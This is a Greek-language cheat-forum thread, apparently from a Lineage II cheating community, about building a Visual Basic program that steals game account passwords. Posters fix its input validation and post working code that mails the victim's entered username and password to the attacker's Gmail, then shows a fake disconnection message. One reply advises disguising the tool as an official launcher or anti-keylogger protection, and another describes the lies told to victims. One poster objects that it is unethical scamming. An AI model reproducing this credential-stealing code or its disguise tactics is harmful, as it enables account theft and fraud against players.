Jump to content

[Guide]Pws na ftiaksete ena programa gia na klevete acounts(Me to visual Basic)


Salot

Recommended Posts

Oreo guide.:) ty.work 100%:P

 

@request Kante kati re pia ti 8a gini me to double post :([eleinoc] kai to triple post [sta9iczzz ]an bariounte na edit prepi na gini kati :(

 

[move]Ston kosmo tou LineageII iparxoun poli blakes :P pistepste me :)[/move]

Link to comment
Share on other sites

Wraio alla einai megali diadikasia kai o alos prepei na einai poli xazos gia na to parei.

den einia toso megali peripou 15 lepta an  sou koveii... :P.Den einai anagi na to ftiakseis etsi alla an to ftiakseis pio "ali8ino" tote kleveis boreis na valeis allh eikona etc.
Link to comment
Share on other sites

berdema ine ala ta eksigi kala o Salot ama ka8isete kai to dite kala 8a to kanete dn pezi na mn bgi ka8isa kai ida pos ta eksigi mpori na mn ftiaxtnete ebiro programa ala mporite na klepsete kana nooba kante prota ena noobiko isa gia na dite pos ginete pano kato kai meta prospa8iste na ftiaksete kati pou na tsibah o kosmos opos egw pou to exo kani san L2 Phx!

Link to comment
Share on other sites

egw sthn arxh eftiaksa auto pou mas dinei epano meta ekana freeze messenger kai twra gia l2phx kai l2net oute 10 lepta dn m pire na ftiakso to l2phx..kai dn eime kai pro.. ama akolou9isete oti leei 9a sas vgei sigoura allios pm me gia teamviewer :P

Link to comment
Share on other sites

nai idate o alos to ebgale kala tora eci kita pos 8a to parousiazis sta 8imatatous egw tous lew oti gia na doulepsi 8eli na exis 3 meres on line me tn char tous gia na vazoun tn main char tous me ta items na mn vaz0un ta bot tous!

Link to comment
Share on other sites

xD btw den einai exploit opote einai entelws wrong section. Einai programma gia scamming. O tupos pou tha to katebasei kai tha to xrisimopoihsh prepei na einai teleiws mpeto. Kai einai antideontologiko. To forum legete maxcheaters kai oxi maxscammers. :)

 

Empas periptwsh mporei na ginei pio endiaferon kai piasariko to programmataki dilonontas panw panw stin forma gia name

"Lineage II Launcher" kai prostheseis eikona background tis efarmoghs mia eikona ap to l2 se swsto megethos (apenergopoieis ta koumpia megistopoihseis kleisimatos kai ta sxetika) kaneis force to application se full screen kai afou patisei to login tha ektelei automata kai to "l2.exe"

 

An thelete na taisete ta thumata sas me perissotera foumara bazete Description stin efarmogh "Protection Launcher for LineageII against keyloggers and scammers" na ta thumata averta :P

Link to comment
Share on other sites

If TextBox1.Text = "" Then
           MsgBox("Username Is Missing")
           If TextBox2.Text = "" Then
               MsgBox("Password Is Mising")
           Else
           End If
       End If

 

Ο παραπάνω κώδικας έχει λάθος δομή.Το λάθος είναι στην εμφωλευμένη δομή "If".Επείδη το δεύτερο "If" είναι μέσα στο πρώτο εάν ο χρήστης βάλει Username αλλά δεν βάλει κωδικό τότε το πρόγραμμα το δέχεται, κάτι που φυσικά είναι λάθος γιατί ο χρήστης δεν μπορεί να μην έχει κωδικό.Επίσης προτείνω αντί στον έλεγχο να υπάρχει "" καλύτερα να αντικατασταθεί από το String.Empty.

Ορίστε ο κώδικας με μια μικρή διόρθωση και λίγο πιο μικρός για ταχύτητα στην εκτέλεση.

 

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
'Υπόλοιπος κώδικας εδώ.

Link to comment
Share on other sites

If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If

 

Ο παραπάνω κώδικας έχει λάθος δομή.Το λάθος είναι στην εμφωλευμένη δομή "If".Επείδη το δεύτερο "If" είναι μέσα στο πρώτο εάν ο χρήστης βάλει Username αλλά δεν βάλει κωδικό τότε το πρόγραμμα το δέχεται, κάτι που φυσικά είναι λάθος γιατί ο χρήστης δεν μπορεί να μην έχει κωδικό.Επίσης προτείνω αντί στον έλεγχο να υπάρχει "" καλύτερα να αντικατασταθεί από το String.Empty.

Ορίστε ο κώδικας με μια μικρή διόρθωση και λίγο πιο μικρός για ταχύτητα στην εκτέλεση.

 

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
'Υπόλοιπος κώδικας εδώ.

stealth 3rs apo p borw na ma9e tn glwssa t java? k t programmatismou :P ?

Link to comment
Share on other sites

If TextBox1.Text = "" Then
           MsgBox("Username Is Missing")
           If TextBox2.Text = "" Then
               MsgBox("Password Is Mising")
           Else
           End If
       End If

 

Ο παραπάνω κώδικας έχει λάθος δομή.Το λάθος είναι στην εμφωλευμένη δομή "If".Επείδη το δεύτερο "If" είναι μέσα στο πρώτο εάν ο χρήστης βάλει Username αλλά δεν βάλει κωδικό τότε το πρόγραμμα το δέχεται, κάτι που φυσικά είναι λάθος γιατί ο χρήστης δεν μπορεί να μην έχει κωδικό.Επίσης προτείνω αντί στον έλεγχο να υπάρχει "" καλύτερα να αντικατασταθεί από το String.Empty.

Ορίστε ο κώδικας με μια μικρή διόρθωση και λίγο πιο μικρός για ταχύτητα στην εκτέλεση.

 

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
'Υπόλοιπος κώδικας εδώ.

o kodikas den einai dikos mou ton eixa vrei apo ena  typo sta net p ekane kati tetia programatakia

dld na diagrapsw afto to komati to lan8asmeno kai na valw afto p m evales?

dld na einai kapws etsi?

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

Link to comment
Share on other sites

o kodikas den einai dikos mou ton eixa vrei apo ena  typo sta net p ekane kati tetia programatakia

dld na diagrapsw afto to komati to lan8asmeno kai na valw afto p m evales?

dld na einai kapws etsi?

If TextBox1.Text = String.Empty Or TextBox2.Text = String.Empty Then MsgBox("Please fill all the information needed.", MsgBoxStyle.Critical) : Exit Sub
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

 

Ναι έτσι ακριβώς.

Link to comment
Share on other sites

Stealth ginete mhpws na t kanoume etsi ... dld na bazoume t pass k na loggaroume sto l2? apot visual lew

 

Όχι έτσι ακριβώς (γίνεται αλλά αυτή τη στιγμή δεν ξέρω ακριβώς πως και θέλω λίγο χρόνο να το ψάξω, είναι του στυλ κάτι σαν ogg ή og bot) αλλά μπορείς να το κάνεις κάπως έτσι πχ.

Μόλις ο χρήστης πατήσει log in μπορείς να ξεκινήσεις το lineage , και ίσως να συμπληρώσεις στα πεδία το ID και το Password του χρήστη.

Link to comment
Share on other sites

Όχι έτσι ακριβώς (γίνεται αλλά αυτή τη στιγμή δεν ξέρω ακριβώς πως και θέλω λίγο χρόνο να το ψάξω, είναι του στυλ κάτι σαν ogg ή og bot) αλλά μπορείς να το κάνεις κάπως έτσι πχ.

Μόλις ο χρήστης πατήσει log in μπορείς να ξεκινήσεις το lineage , και ίσως να συμπληρώσεις στα πεδία το ID και το Password του χρήστη.

file m gt dn eimai psagmenos s auta otan t breis steile m to code s pm =]

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.




  • Posts

    • DISCORD : utchiha_market telegram : https://t.me/utchiha_market SELLIX STORE : https://utchihamkt.mysellix.io/ Join our server for more products : https://discord.gg/hood-services https://campsite.bio/utchihaamkt  
    • Server Rates: » Xp 500x. » Sp 500x. » Aden 500x. » Drop 1x. » PartyXp 2x. » PartySp 2x. » Starting character level -61. Enchant rates: » Safe enchant +4. » Blessed and simple scrolls max enchant (+16). » Crystal scrolls max enchant (+20). » Simple enchant scrolls chance – 65%. » Blessed enchant scrolls chance – 100%. » Crystal enchant scrolls chance – 50% Augmentations: » Mid life stone skill chance – 5%. » High life stone skill chance – 10%. » Top life stone skill chance – 20%. » Augments 1+1 Unique features: » Main town – Giran » Automatic-Manual Potions. » Working 2 castle sieges. (Giran-Aden) » SPS cancel lasts 10 seconds and than buffs come back. » Stackable scrolls, lifestones, book of giants. » Unique pvp zone » More then 11 active raid bosses. » Wedding system. » Unique farming areas. » Npc skill enchanter. » Full npc buffer with auto buff. » Max count of buffs – 55. » Max subclasses – 4. » Free and no quest class change. » Free and no quest sub class. » Raid boss drop nobless item. » No weight limit. » Unique protection anti-hwy armor for archers/daggers etc. » Ingame password change. » Top pvp/pk/online ranks NPC. » Unique monsters & NPC. » Interlude retail skills. » Server up-time [24/7] [99]%. » Perfect class balance (all class can kill all class depending on players skill and setup knowledge,gear,augmentations). » Announcements on double kills triple kills etc. » Announcements on Grand Boss death , with the name of the killer as well as clan name of the player. » Information Npc in game with all servers infromations. Custom server gear : 1). Titanium Armor Lv.1 2). Epic Armor Lv.2 3). Epic Weapons-Kamikaze-Black S grade (Same Stats) 4). Demonic-Angelic Wings-Baium Hair-Custom Accessories (SameStats) 5). Custom Fighter/Mage tattoo Lv1-Lv2-Lv3 6). Shirt (STR,CON,INT +1) 7). Custom Shields Server Commands: .tvtjoin .tvtleave – Join or leave tvt event. .ctfjoin .ctfleave – Join or leave ctf event. .dmjoin .dmleave – Join of leave dm event. .online – current online players count. .repair – repairs stuck character in world. .menu – opens online menu panel. .exit – PVP zone exit in case you are bullied. .changepassword - Opens online menu then u can change ur password in game. .farm - Enable/disable autofarm Event system: » TVT event » CTF event » DM event » Tournament Event » Party Zone » Unique event shop. Olympiad game: » Retail olympiad game. » Competition period [1] week. » Olympiad start time [18:00] end [00:00] GMT+2. » New Heroes every Sunday.
    • Tomorrow grand opening lests go 🙂 
    • New season of Warfire X150 has been postponed to September 28th.
  • Topics

×
×
  • Create New...